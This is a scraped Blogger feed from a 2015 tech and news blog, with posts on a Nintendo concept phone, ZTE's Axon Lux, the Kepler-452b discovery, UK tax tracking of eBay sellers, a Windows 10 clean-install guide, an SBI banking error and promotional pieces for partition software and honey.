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<span style="font-size: large;">This is a basic question that I hope people increasingly understand about dangerous machines," said Bringsjord. "All the structures and all the processes that are linked with performing actions out of nastiness could be present in the robot."</span></div>
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<span style="font-size: large;">Bringsjord will present his research this August at the IEEE RO-MAN conference in Japan, which is focused on "interactions with socially embedded robots".</span></div>
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<span style="font-size: large;">Oh, and in case you were wondering, the answer to the King's original 'wise men test' is that all the participants must have been given blue hats, otherwise it wouldn't have a been fair contest. Or at least, that's one of the solutions.</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-84588222449130248872015-08-02T12:19:00.000+05:302015-08-02T12:19:00.498+05:30This Nintendo Smartphone Concept called “The Nintendo Smart Boy” is very commendable<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">Nintendo to collaborate with DeNA for The Nintendo Smart Boy</span></h3>
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<span style="font-size: large;">In the wake of Nintendo’s Satoru Iwata recent death, a smartphone concept that will accomplish your childhood dreams has come out.</span></div>
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<span style="font-size: large;">Concept phone designer Pierre Cerveau came up with a very appealing gaming phone concept called the Nintendo Smart Boy, which manages to combine the classic Game Boy style with the features of a modern smartphone.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHYGkjvGPajA6i7_9ZCua6vCft6OCpBTpawDP7yjGKkwriIsUGQOqRb9M0Nhg4LgvoUTRpTXusRsK3oYn9xYLcWqQryYuOvuT6jcSlhicUBmnLu5Kwv2i9VVSM2xnD2LczoaKRf_vAlBqx/s1600/smartboy-2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Nintendo to collaborate with DeNA for The Nintendo Smart Boy" border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHYGkjvGPajA6i7_9ZCua6vCft6OCpBTpawDP7yjGKkwriIsUGQOqRb9M0Nhg4LgvoUTRpTXusRsK3oYn9xYLcWqQryYuOvuT6jcSlhicUBmnLu5Kwv2i9VVSM2xnD2LczoaKRf_vAlBqx/s400/smartboy-2.jpg" title="Nintendo to collaborate with DeNA for The Nintendo Smart Boy" width="400" /></a></div>
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<span style="font-size: large;">On top of that, the maker also seems to have taken a bit of inspiration from Google’s Project Ara and its modular design plan. As you can see in the renders, users of this imaginary smartphone would be able to add different SD cards and camera modules by virtue of simply swiping out the old ones. Owners can also replace the battery in case the powerbox gets drained from all the game play.</span></div>
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<span style="font-size: large;">The very interesting part is that the concept designer has placed the microUSB port and audio jack on the side of the phone.</span></div>
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<span style="font-size: large;">One of the things we love about smartphones is that we’re able to play a quick game anywhere, everywhere, but using a touchscreen to control the action would really obstruct the pleasure of playing Nintendo games.</span></div>
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<span style="font-size: large;">The Nintendo smartphone has cool physical controls. So the designer of the phone has added classic Nintendo controls, like the D Pad, an analog stick and 4 action buttons to make everything more drool-worthy for hardcore gamers. What’s more, when you’re done playing and you want to use the gaming phone as you would use a normal handset, you can remove the physical controllers and go about your day.</span></div>
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<span style="font-size: large;">The Nintendo Smart Boy runs Android out of the box, but it also has another pretty clever achievement dubbed “Power Saving 8 Bit Mode” which will apparently conserve juice.</span></div>
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<span style="font-size: large;">These renders are pretty awe-inspiring, but sadly we won’t probably get to see such a product grace the market with its existence too soon.</span></div>
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<span style="font-size: large;">Nintendo has been lively when it came to entering the mobile world, but back in March 2015, the company made an announcement saying it would partner with DeNA to release some of its games for smartphones and tablets on both the Android and iOS ecosystems.</span></div>
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<span style="font-size: large;">Nintendo and smartphone game developer DeNA are teaming up to bring smartphone games, and we can look forward to to see five titles from them by March 2017. Sankei reports additional details shared by Nintendo president Satoru Iwata.</span></div>
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<span style="font-size: large;">As previously reported, Nintendo and DeNA are splitting the workload up on the smartphone games that the two companies will release together. Nintendo will handle the planning and designing for the games, while DeNA will take care of server development, daily operations, and user analysis.</span></div>
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<span style="font-size: large;">While we still don’t know about what kind of titles we can expect to see from the two companies in the near future, Iwata revealed that he selected the Mario Kart series’ producer to be in charge of the development of one or more of these titles.</span></div>
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<span style="font-size: large;">Iwata said “With this, people should know how serious we are about putting effort into our smartphone titles”.</span></div>
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<span style="font-size: large;">Stay tuned for more.</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-8205461373331353872015-08-01T12:27:00.002+05:302015-08-01T12:27:54.102+05:30ZTE Launches Axon Lux Phone in China, introducing Eye Scanner for the first time in your pocket SmartPhone<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">Chinese company ZTE introduced the Axon Phone in the United States last week & will come soon with Axon Phone Pro in China.</span></h2>
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<span style="font-size: large;">Today, finally ZTE the handset maker made an announcement that the upcoming availability of its top-tier smartphone in China, its native country.</span></div>
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<span style="font-size: large;">However, the Axon Phone for China will come with different specs and design, as ZTE especially tailored the device to suit their Chinese market.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhee5sCrZQZ3E7MRxlqdCninVSs2ZEOXcmekJAHBbmw57srqCwFIJn989pYQWaTvgLtONqr_ygf3BOtvJ2K3K8Z_R3AU6IJLZKO79K4MAmRlBgAtI6fbn-fJJyzSCeD90RhBUF8LA2yfgG7/s1600/zte_axon_lux.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Chinese company ZTE introduced the Axon Phone in the United States last week & will come soon with Axon Phone Pro in China." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhee5sCrZQZ3E7MRxlqdCninVSs2ZEOXcmekJAHBbmw57srqCwFIJn989pYQWaTvgLtONqr_ygf3BOtvJ2K3K8Z_R3AU6IJLZKO79K4MAmRlBgAtI6fbn-fJJyzSCeD90RhBUF8LA2yfgG7/s1600/zte_axon_lux.jpg" title="Chinese company ZTE introduced the Axon Phone in the United States last week & will come soon with Axon Phone Pro in China." /></a></div>
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<span style="font-size: large;">For example, the standard version of Axon Phone will be available in China with 32GB of internal memory storage, 3GB RAM and 5.5-inch capacitive touchscreen display that will support a full HD (1080p) resolution.</span></div>
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<span style="font-size: large;">The handset will be available to its clients in two different ornamental colors, Ion Gold and Chromium Silver, for just 2,699 yuan, which is about $435 or €395.</span></div>
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<span style="font-size: large;">On the other hand, the updated version of Axon Phone will also feature a faux leather on the back and 128GB of storage inside (expandable to 256GB).</span></div>
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<span style="font-size: large;"><b>Two new biometric authentication options</b></span></div>
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<div style="text-align: justify;">
<span style="font-size: large;">This smartphone will also come with fingerprint scanner, but also for the first time with an eye scanner, both of which are missing from the Axon Phone available in the US.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">According to ZTE, this is the world's first smartphone to offer users such new biometric authentication options.</span></div>
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<span style="font-size: large;">Apart from that, the Axon Lux will be packed with the same specs as the US version of the smartphone, so we can expect the same Snapdragon 810 CPU paired with 4GB RAM, as well as 5.5-inch Quad HD display.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">The ZTE Axon Lux will be available for pre-order in China beginning from July 21 for 3,888 yuan outright, which translates into $625 or €570.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">The smartphone will pack a smaller 5.2-inch AMOLED capacitive touchscreen display that supports full HD (1080p) resolution, but aside from that no other details have been revealed yet.</span></div>
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<span style="font-size: large;">Last but not the least; ZTE has also announced plans to launch an Axon Mini version of its flagship smartphone, which will be available in China in the coming weeks very soon.</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-86271015745729353442015-08-01T12:13:00.003+05:302015-08-01T12:14:25.228+05:30Earth 2.0: Nasa scientists find 'closest twin' outside solar system<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">Earth like planet discovered by NASA, says it is "Earth's bigger, older cousin"</span></h2>
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<span style="font-size: large;">NASA said Thursday that the scientists on the search for extraterrestrial life have discovered “the closest twin to Earth” outside the solar system. The Kepler spacecraft that has spotted "Earth's bigger, older cousin" is the first nearly Earth-size planet to be found in the habitable zone of a star similar to our Sun.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_CVZwRq57Sr7X3YVx-Vx2tWSKtT8Xrewnm3SvLj7ValHkduTAH0Tp9hro1pQnEr97R4YqtStPyGiNZZanOoNSOhur4Es9LS6jRF4Ec6hUdC5h4lD_zZjijbRj6dKCdNOb9Eaa7NlZd04e/s1600/18planet-master1050.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Earth like planet discovered by NASA, says it is "Earth's bigger, older cousin"" border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_CVZwRq57Sr7X3YVx-Vx2tWSKtT8Xrewnm3SvLj7ValHkduTAH0Tp9hro1pQnEr97R4YqtStPyGiNZZanOoNSOhur4Es9LS6jRF4Ec6hUdC5h4lD_zZjijbRj6dKCdNOb9Eaa7NlZd04e/s640/18planet-master1050.jpg" title="Earth like planet discovered by NASA, says it is "Earth's bigger, older cousin"" width="640" /></a></div>
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<span style="font-size: large;">In 2009, the $600 million Kepler mission was launched with a goal to survey a portion of the Milky Way for habitable planets.</span></div>
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<span style="font-size: large;">From a vantage point 64 million miles from Earth, it scans the light from distant stars, looking for almost imperceptible drops in a star's brightness, suggesting a planet has passed in front of it. However, confirmation of their true planetary status requires observations by other instruments, typically looking for slight shifts in the motion of the host suns.</span></div>
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<span style="font-size: large;">NASA Researchers, SETI Institute and several universities announced the new exoplanet along with 12 possible “habitable” other exoplanets and 500 new candidates in total.</span></div>
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<span style="font-size: large;">Named Kepler 452b, the new planet is “the closest twin to Earth, or the Earth 2.0 that we’ve found so far in the dataset”, said John Grunsfeld, Associate Administrator for NASA's Mission Directorate.</span></div>
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<span style="font-size: large;">Jeff Coughlin, a SETI scientist said “This is the first possibly rocky, habitable planet around a solar-type star." The previously discovered 11 exoplanets of a similar size and orbit travel around stars that are smaller and cooler than the sun. The first exoplanet orbiting a distant star was discovered in 1995.</span></div>
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<span style="font-size: large;">Seven candidates appear to orbit solar-type stars, Coughlin said. “Time will tell if they stand the tests.”</span></div>
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<span style="font-size: large;">“It is the closest thing that we have to another place that somebody might call home,” said Jon Jenkins, a Nasa scientist.</span></div>
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<span style="font-size: large;">The discovery “takes us one step closer to understanding how many habitable planets are out there”, said Joseph Twicken, a Seti scientist also on the Kepler mission.</span></div>
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<span style="font-size: large;">According to the research, it suggests Kepler-452b has five times the mass of Earth, is about 1.5bn years older, 4% more massive and 20% brighter and has a gravity that is twice as powerful as our own. As stars age they grow in size and energy, throwing more heat at the objects in their orbit.</span></div>
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<span style="font-size: large;">The new planet is about 1,400 light-years from Earth in the constellation Cygnus. NASA says it is about 60% bigger than Earth and is situated in its star's habitable zone, where life-sustaining liquid water is possible on the surface of a planet.</span></div>
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<span style="font-size: large;">A visitor there would experience gravity about twice that of Earth's, and planetary scientists say the chances of it having a rocky surface are "better than even", likely with active volcanoes, and has a thicker atmosphere with greater cloud cover than the Earth.</span></div>
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<span style="font-size: large;">The scientists said that the new planet receives 10% more energy than the Earth, which means it could provide a glimpse into a burning, waterless future on Earth.</span></div>
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<span style="font-size: large;">Doug Caldwell, a SETI Institute scientist on the Kepler mission said “Kepler 452b could be experiencing now what the Earth will undergo more than a billion years from now."</span></div>
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<span style="font-size: large;">“If Kepler 452b is indeed a rocky planet,” he said, its location “could mean that it is just entering a runaway greenhouse phase of its climate history. Its ageing sun might be heating the surface and evaporating any oceans. The water vapor would be lost from the planet forever.”</span></div>
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<span style="font-size: large;">Coughlin said that thoroughly examining the catalog will help astronomers “determine the number of small, cool planets that are the best candidates for hosting life”.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">“We’re trying to answer really fundamental questions,” Grunsfeld said. “Where are we going as human beings, and of course the really grand question: are we alone in the universe?”</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">Missions are being prepared to move scientists closer to the target of finding yet more planets and cataloging their atmospheres and other characteristics.</span></div>
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<span style="font-size: large;">In 2017, NASA plans to launch a planet-hunting satellite called TESS, a survey satellite that searches the nearest solar systems for exoplanets. With increasingly powerful telescopes and satellites, scientists may someday be able to “make the first primitive maps of an Earth-like planet”, including details of “whether they have oceans, clouds, perhaps even seasons”, says Grunsfeld.</span></div>
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<span style="font-size: large;">Didier Queloz, professor at Cambridge said the team has only reasons to be hopeful and confident for planets that resemble Earth even more closely: “This is just the beginning of a very long journey.”</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-90162858311873122942015-08-01T12:10:00.001+05:302015-08-01T12:10:07.634+05:30Ebay and Paypal users face 'huge' tax crackdown from United Kingdom's tax authorities<div dir="ltr" style="text-align: left;" trbidi="on">
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United Kingdom Tax authorities find a new way to crack down tax evaders, tracking eBay and Paypal usage</h2>
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Her Majesty's Revenue and Customs department, the tax authority of United Kingdom has found a unique way of dealing with those British citizens who evade taxes. Tracking the online usage of eBay, Paypal and hotel comparison websites to target those failing to pay tax. It also plans to track users of smartphone apps like Booking.com, AirBnb and Justeat both on Android and iOS devices.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgib4Y6e86NiHhh12gRfhq06oIjtaCWU1lsrvUkde53m5kzu3u3nEH5PDNzevjwwpwN0i4VR2XDAujN2rtLwdGAyVXMOO2zzQd7uVHzIxW6tJ7W-4iSFMlh0vsja87JPiXkQfmUwJce_Zcu/s1600/tax.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="United Kingdom Tax authorities find a new way to crack down tax evaders, tracking eBay and Paypal usage" border="0" height="397" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgib4Y6e86NiHhh12gRfhq06oIjtaCWU1lsrvUkde53m5kzu3u3nEH5PDNzevjwwpwN0i4VR2XDAujN2rtLwdGAyVXMOO2zzQd7uVHzIxW6tJ7W-4iSFMlh0vsja87JPiXkQfmUwJce_Zcu/s400/tax.jpg" title="United Kingdom Tax authorities find a new way to crack down tax evaders, tracking eBay and Paypal usage" width="400" /></a></div>
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<a data-mce-href="http://www.telegraph.co.uk/finance/personalfinance/tax/11762074/Ebay-and-Paypal-users-face-huge-tax-crackdown.html" href="http://www.telegraph.co.uk/finance/personalfinance/tax/11762074/Ebay-and-Paypal-users-face-huge-tax-crackdown.html" target="_blank">Telegraph</a> reports that the HMRC will be tracking online sellers who use Ebay, holiday letting websites and other internet retailers will face one of the "biggest tax crackdowns in history" as the UK government plans to pursue</div>
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The tax authorities from HMRC believe that thousand of Britishers use services like eBay, Paypal and other apps to mint money in millions and dont declare income they make online, costing the exchequer billions of pounds every year</div>
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The new powers will give the HMRC access to information from Paypal, the online payment company owned by Ebay, smartphone app stores run by Apple and Google, holiday comparison websites and a host of other online retailers. It means that thousands of Britons who let out their homes on the internet or sells good on eBay without paying tax will be targeted and have their affairs scrutinised.</div>
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HMRC has asked for more powers as the existing legislation does not cover "electronic payment providers" such as Paypal, which is used by more than 20 million people in Britain to pay for goods and services online. It is one of the main methods of payment on Ebay.<br />
The new legislation will cover electronic payments alongside price comparison websites for everything from holidays to insurance and takeaways. Popular websites include Booking.com, AirBnb and Justeat.<br />
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It will also extend to smartphone app stores run by Google and Apple, amid concerns that a new generation of businesses is failing to pay its full share of tax.<br />
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With HMRC showing the news ways to governments of world on how to track down tax evaders, the day wont be far when United States IRS and India's Central Board of Direct Taxes enacts similar laws to track down similar usage in US and India.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-52009619401334291922015-08-01T12:01:00.001+05:302015-08-01T12:01:22.525+05:30How to clean install Windows 10 on Windows 7/8/8.1 PCs<div dir="ltr" style="text-align: left;" trbidi="on">
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How to guide for installing and running Windows 10 on Windows 7/8/8.1</h2>
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<span style="font-size: large;">Microsoft's new Windows 10 operating system can now be installed on PCs and tablets for free that have a Windows 7 or 8.1. The new OS comes with a lot of added features like the new Start menu, Action Center, Cortana, Edge, and multiple desktops. </span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPPW2mIbzA_AGz4gary9y5_B8yo9vBBFQ_R8dBWVEci9tDAankqG5xRiIL3rHMI3JbpDe0Ai5Z4QSWoCw9hPpvBh5aRktKLD9xw2cZtbGcVZpZbJJmkTGQUhKh8ndJt0lqPiS944ax_wz7/s1600/Windows_10_0121_34.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="How to guide for installing and running Windows 10 on Windows 7/8/8.1" border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPPW2mIbzA_AGz4gary9y5_B8yo9vBBFQ_R8dBWVEci9tDAankqG5xRiIL3rHMI3JbpDe0Ai5Z4QSWoCw9hPpvBh5aRktKLD9xw2cZtbGcVZpZbJJmkTGQUhKh8ndJt0lqPiS944ax_wz7/s640/Windows_10_0121_34.jpg" title="How to guide for installing and running Windows 10 on Windows 7/8/8.1" width="640" /></a></div>
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<span style="font-size: large;">If you are using free upgrade of Windows 10, all of your apps, data and most of your system settings are brought over from your older OS that can adversely affect performance of the device.</span></div>
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<span style="font-size: large;">Hence, it is recommended to have a clean install when moving to a new version of Windows, as will give you an uncontaminated experience without any issues that may crop up due to the upgrade. The clean install can de done before or after you have upgraded to Windows 10, when your computer still runs Windows 7 or 8.1.</span></div>
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<span style="font-size: large;">Let's have a look how you can make a clean install of Windows 10.</span></div>
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<span style="font-size: large;">Firstly, you need to have a Windows 10 installation media along with a valid Windows 10 license to perform a clean install. Then, you require a bootable USB drive, as it is faster, compatible with ultra-slim devices without an optical drive, and also portable.</span></div>
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<span style="font-size: large;">It is recommended to back up everything before you go for clean install or else you are at risk of losing important data, which can may be difficult and sometimes impossible to recover.</span></div>
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<span style="font-size: large;">However, if you do intend to buy a new Windows 10 license, then it would be recommended to get the new operating system loaded directly onto a bootable USB drive. Microsoft is offering this option for the first time. You can also create your own bootable Windows 10 USB drive.</span></div>
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<span style="font-size: large;">An official tool that automates the process has been released by Microsoft. However, if you have already built your own computer, then you can install Windows 10 on it using the flash-drive creation method. Choose to boot the computer from the flash drive and the installation process will start. Note that this method is quite involved (though self-explanatory) so that you are sure of what you are doing.</span></div>
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<span style="font-size: large;">For those who have Windows 7 or Windows 8.1</span></h3>
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<span style="font-size: large;">Users of Windows 7 or Windows 8.1 can take advantage of the free upgrade offer and upgrade the operating system to Windows 10 first, so that the license can get validated for Windows 10. However, it is mandatory that you would have to use Windows 10 on the same PC that you have upgraded on.</span></div>
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<span style="font-size: large;">Following the upgrade, once your copy of Windows 10 gets activated by Microsoft, you can go ahead and do a clean install of the operating system. Also, make sure that you have cleanly installed a suitable version of Windows 10 for the Windows 7 or Windows 10 license that you have.</span></div>
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<span style="font-size: large;">To find out which version of Windows 10 you need for the clean install, right click on This PC (found on the desktop, also known as Computer in Windows 7), select Properties, and search for the version of the operating system that is installed on your PC. Your license (product key) will not be accepted, if you do not use the same version for the clean install.</span></div>
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<span style="font-size: large;">You can now make a clean install of the operating system with the bootable Windows 10 USB drive and product key. You need to configure your PC appropriately, if you want it to boot from that USB drive.</span></div>
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<span style="font-size: large;">To do that, you need to go to its boot menu and press a button on your keyboard to trigger it immediately after powering it up (or restarting it). It depends on your PC what precise key you need to press; however, it is generally listed right after your PC starts (or restarts). The same can be done from the UEFI or BIOS menu.</span></div>
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<span style="font-size: large;">After this process is over, and with the bootable USB drive plugged in, your PC will take you directly to the Windows 10 setup. However, you need to watch out for the partitioning stage, where you will have to format the drive that you wish to clean install Windows 10 on. You will have a fresh install of Windows 10 waiting for you, after the setup is complete.</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-51593682655759866142015-08-01T11:51:00.000+05:302015-08-01T11:51:28.720+05:30Woman from Kanpur becomes the richest person for a day due to SBI accounting error<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">SBI erroneously credits Rs. 95,000 into the bank account of a poor Kanpur woman</span></h3>
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<span style="font-size: large;">Urmila Yadav of Kanpur's Vikas Nagar was unexpectedly surprised by the UPSIDC branch of State Bank of India (SBI) in Kanpur credited over Rs. 95,000 crore into her bank account making her the wealthiest person in the world.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE4-yOaoUoSsnRwHyNq5IdTJYpXmI6w-CSN6vTjS0v9kpe7kP2pRcjRNs6alWomzTv9OYTO_LZFZwqMffet7TaIOH4mia6fSO_qPAVKkmdO_BtCjFXNfownZiUIi14algaQxMdE2eZNIvs/s1600/dollar-bills.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="SBI erroneously credits Rs. 95,000 into the bank account of a poor Kanpur woman" border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE4-yOaoUoSsnRwHyNq5IdTJYpXmI6w-CSN6vTjS0v9kpe7kP2pRcjRNs6alWomzTv9OYTO_LZFZwqMffet7TaIOH4mia6fSO_qPAVKkmdO_BtCjFXNfownZiUIi14algaQxMdE2eZNIvs/s400/dollar-bills.jpg" title="SBI erroneously credits Rs. 95,000 into the bank account of a poor Kanpur woman" width="400" /></a></div>
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<span style="font-size: large;">The woman had deposited only Rs. 2,000 to open her account as a part of the central government's Jan Dhan Yojana and was astonished when she received a message of Rs 9,99,990 as balance in her account. Thanks to a strange process followed by the bank to get in touch with its customers, the amount deposited by the bank in her account was estimated to be Rs. 95,711,69,86,47,130.14.</span></div>
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<span style="font-size: large;">Urmila, who works as a domestic help had received two text messages from the bank. While the first one said her account had been credited with Rs 9,99,999, the other showed that Rs 9.97 lakh had been deducted leaving a balance of Rs 2,000. She was obviously shocked as she had not made any such transaction.</span></div>
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<span style="font-size: large;">"I was constantly asking myself as to how this Rs 10 lakh came and went," she said.</span></div>
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<span style="font-size: large;">She got in touch with her guarantor after the incident, who at once approached the bank to find out about the careless mistake done by the bank.</span></div>
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<span style="font-size: large;">However, she was in for a bigger shock when she rushed to the bank with her guarantor, Lalta Prasad Tiwari. The bank’s response was even more surprising.</span></div>
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<span style="font-size: large;">VK Srivastava, a senior clerk who also acts as a manager, said it took place supposedly due to a process undertaken to freeze a dormant account. For some time, Urmila's account was dormant, as she had not maintained the adequate balance that is needed to keep it operational.</span></div>
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<span style="font-size: large;">According to the bank employees, it was a way to share information with the account holder that he or she could no longer use the account. Hence, the bank credited a fictitious figure and then deducted it, as a part of the process.</span></div>
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<span style="font-size: large;">Abhishek Gupta, a chartered accountant says "Rules bar banks from crediting and debiting any sum without the consent of the account holder."</span></div>
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<span style="font-size: large;">"The bank is responsible for what has happened. What is the point in such a process?" he asked.</span></div>
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<span style="font-size: large;">He said if the account was opened with Rs 2,000, then the woman should not have received the messages about the credit of Rs 9.99 lakh and the one about a deduction of Rs 9.97 lakh in the first place.</span></div>
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<span style="font-size: large;">"It needs to be investigated thoroughly," said Gupta.</span></div>
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<span style="font-size: large;">In the mean time, Urmila said that she does not want to court a controversy and just wants the bank to return her original amount.</span></div>
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<span style="font-size: large;">"I do not want to contest as to how it happened. My only worry is the Rs. 2,000. That should be safe," said Urmila.</span></div>
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<span style="font-size: large;">The bank has now activated her account, which is showing the correct balance of Rs. 2000.</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-88535600648853820542015-07-12T23:18:00.000+05:302015-07-14T10:29:52.172+05:30The best way to manage partitions in your PC or Laptop with EaseUS Partition Master<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">Wouldn’t it be easy for us if there’s a partition master that can reorganize our hard disk for maximum </span><span style="font-size: large;">effectiveness? Wouldn’t you feel relieved if there is a disk partition software that can easily and reliably </span><span style="font-size: large;">extend or merge a partition in just a few steps?</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH_1FSH85dXeTl3jSeZuICRl7oLuiNRX_nFsAo8_FroA55Xx62v9Z9CCaJCmYMCQQunVl77qJpqeEtPSt_9SGgwcFx4wCzq4WTHNmq_l3G_4Qvq454uNOO-5DkSv83l9KMnKpYN4SmtaQf/s1600/EASEUS-Partition-Master.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="The best way to manage partitions in your PC or Laptop with EaseUS Partition Master" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH_1FSH85dXeTl3jSeZuICRl7oLuiNRX_nFsAo8_FroA55Xx62v9Z9CCaJCmYMCQQunVl77qJpqeEtPSt_9SGgwcFx4wCzq4WTHNmq_l3G_4Qvq454uNOO-5DkSv83l9KMnKpYN4SmtaQf/s320/EASEUS-Partition-Master.jpg" title="The best way to manage partitions in your PC or Laptop with EaseUS Partition Master" width="266" /></a></div>
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<span style="font-size: large;">Then meet with EaseUS Partition Master, alternative to <a href="http://www.partition-tool.com/resource/resize-partition-windows-7.htm" target="_blank">Partition Magic Windows 7</a>, which is the best </span><span style="font-size: large;">partition solution out there in the market. They say the good things in life aren’t free but with this disk </span><span style="font-size: large;">partition software, you can enjoy everything that it has to offer for free.</span></div>
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<span style="font-size: large;">With more than 24million users worldwide, you know there are plenty of satisfied users everywhere. </span><span style="font-size: large;">Plus it is highly recommended by those in the software industry as it features a single solution for all </span><span style="font-size: large;">your disk management, partition recovery and cloning purposes. It also supports most of the major </span><span style="font-size: large;">languages such as English, Deutsch, Español, Français, Português, Polski and 日本語. </span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT9EvV4tLUZ3wenFSHndaDLGa6KQH-fBjucPa-3XlL5jMpqb9vj1XyyifC97Dh9X1_ZwjM5OjBZcd3OopGL_VcjLEVW3bcJFDlVkdCAnm38PY5eiLF8iby4mWGK29gCmVUS-qIlrVUPv71/s1600/easeus-partition-master-32.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="The best way to manage partitions in your PC or Laptop with EaseUS Partition Master" border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT9EvV4tLUZ3wenFSHndaDLGa6KQH-fBjucPa-3XlL5jMpqb9vj1XyyifC97Dh9X1_ZwjM5OjBZcd3OopGL_VcjLEVW3bcJFDlVkdCAnm38PY5eiLF8iby4mWGK29gCmVUS-qIlrVUPv71/s320/easeus-partition-master-32.jpg" title="The best way to manage partitions in your PC or Laptop with EaseUS Partition Master" width="320" /></a></div>
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<span style="font-size: large;">Some of the main features of EaseUS Partition Master is that you can use it to easily create, delete, </span><span style="font-size: large;">resize, move, merge, split, wipe or format partitions to make full use of your hard drive(s). Say for </span><span style="font-size: large;">example you just bought a bigger capacity hard drive, you can first of all clone your primary hard drive </span><span style="font-size: large;">into the newly bought hard drive without having to do any Windows reinstallation. Or if you just bought </span><span style="font-size: large;">a brand new and fast solid state drive and you wish to migrate your current operating system to the new </span><span style="font-size: large;">SSD, then with just a few clicks of the button; you are all set to go to boot from the new SSD.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">Well even if you don’t buy any new hardware and you are running low on the main partition, you can </span><span style="font-size: large;">use the partition master to simply extend the NTFS system partition and get that extra space in an </span><span style="font-size: large;">instant. All this is achieved without having to reboot your PC. By merging the two adjacent partitions </span><span style="font-size: large;">into a bigger partition, you won’t experience any data loss. It is completely safe and won’t cause any </span><span style="font-size: large;">harm to your PC.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Then there’s the Partition Recovery Wizard component in the disk partition software that is designed to </span><span style="font-size: large;">recover deleted or lost partitions. If by any chance you experience any issues, you can use the partition </span><span style="font-size: large;">master to do the recovery for you. </span><span style="font-size: large;">It is very simple to use and it works on both BIOS-based and UEFI-based hardware. Furthermore, it </span><span style="font-size: large;">supports all types of hardware RAID, hard disk, solid state drive, removable storage device, <a href="http://www.partition-tool.com/resource/GPT-disk-partition-manager/partition-gpt-disk.htm" target="_blank">GPT disk</a> and </span><span style="font-size: large;">all the common file system such as FAT, NTFS, EXT2 and EXT3.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">So what are you waiting for? Go ahead to grab the EaseUS Partition Master download and start reaping </span><span style="font-size: large;">the full benefits of an all-in-one disk partition software.</span></div>
</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-58989313669748874402015-07-10T14:19:00.002+05:302015-07-10T14:19:38.926+05:30#HoneyDietIsHere : Experience good health with a daily dose of Dabur Honey<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">For
ages together our ancestors have given importance to healthy and nutritious
diet along with proper rest. <o:p></o:p></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">A
balanced diet provides the nutrition required for proper functioning of the
body’s organs and tissues. A truly balanced diet includes nutrition obtained
from fruits, vegetables, whole grains, lean proteins and fatty acids.<o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
